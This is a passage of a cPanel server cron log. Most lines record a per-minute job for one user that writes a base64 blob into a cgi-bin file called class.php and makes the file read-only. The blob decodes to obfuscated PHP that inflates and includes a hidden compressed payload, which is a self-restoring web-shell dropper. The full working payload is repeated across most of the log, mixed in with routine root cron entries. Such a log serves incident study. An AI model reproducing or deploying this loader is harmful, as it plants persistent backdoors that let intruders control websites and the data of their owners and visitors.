g2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 11:47:01 server CROND[16438]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 11:48:01 server CROND[16597]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 11:49:01 server CROND[16669]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 11:50:01 server CROND[16744]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr  8 11:50:01 server CROND[16746]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  8 11:50:01 server CROND[16747]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 11:50:01 server CROND[16749]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr  8 11:50:01 server CROND[16750]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  8 11:51:01 server CROND[16883]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 11:52:01 server CROND[16962]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 11:53:01 server CROND[17117]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 11:54:01 server CROND[17185]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 11:55:01 server CROND[17269]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 11:55:01 server CROND[17270]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  8 11:55:01 server CROND[17271]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  8 11:56:01 server CROND[17389]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 11:57:01 server CROND[17455]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Apr  8 11:57:01 server CROND[17456]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 11:58:01 server CROND[17535]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 11:59:01 server CROND[17697]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 12:00:01 server CROND[17787]: (root) CMD (/usr/local/cpanel/scripts/shrink_modsec_ip_database -x 2>&1)
Apr  8 12:00:01 server CROND[17786]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  8 12:00:01 server CROND[17789]: (mailman) CMD (/usr/local/cpanel/scripts/restartsrv_mailman --status &> /dev/null && /usr/local/cpanel/3rdparty/bin/python2 -S /usr/local/cpanel/3rdparty/mailman/cron/senddigests)
Apr  8 12:00:01 server CROND[17788]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  8 12:00:01 server CROND[17790]: (root) CMD (/usr/lib64/sa/sa1 1 1)
